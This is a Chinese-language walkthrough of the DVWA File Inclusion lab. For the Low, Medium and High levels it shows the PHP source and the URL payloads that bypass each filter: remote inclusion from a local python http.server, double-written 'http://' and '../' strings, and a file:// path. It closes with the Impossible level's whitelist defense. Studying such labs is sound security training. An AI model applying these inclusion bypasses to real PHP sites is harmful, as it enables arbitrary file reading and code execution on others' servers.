File Inclusion(文件包含)
先在phpstudy\Extensions\php\php版本号\php.ini中把allow_url_include打开
File Inclusion,即文件包含,是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
Low
File Inclusion Source
vulnerabilities/fi/source/low.php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
服务器端对page参数没有做任何的过滤跟检查。
点击file1.php,可以尝试page是否可控,确实是可以被控制的。本地文件包含DVWA下的phpinfo.php文件
远程包含用python3搭建一个服务器内容如下
python3 -m http.server 5555
包含后可以直接执行文本中的php代码。
Medium
File Inclusion Source
vulnerabilities/fi/source/medium.php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
很明显,Medium的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符,但是仍然是可控的。
使用str_replace函数是可以使用双写绕过替换规则。
http://192.168.1.12/DVWA/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1:5555/test.txt
http://192.168.1.12/DVWA/vulnerabilities/fi/?page=..././..././phpinfo.php
High
File Inclusion Source
vulnerabilities/fi/source/high.php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。
http://192.168.1.12/DVWA/vulnerabilities/fi/?page=file://D:\phpstudy_pro\WWW\DVWA\phpinfo.php
Impossible
File Inclusion Source
vulnerabilities/fi/source/impossible.php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
Impossible的代码使用了白名单机制进行防护,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,否则无法完成文件包含。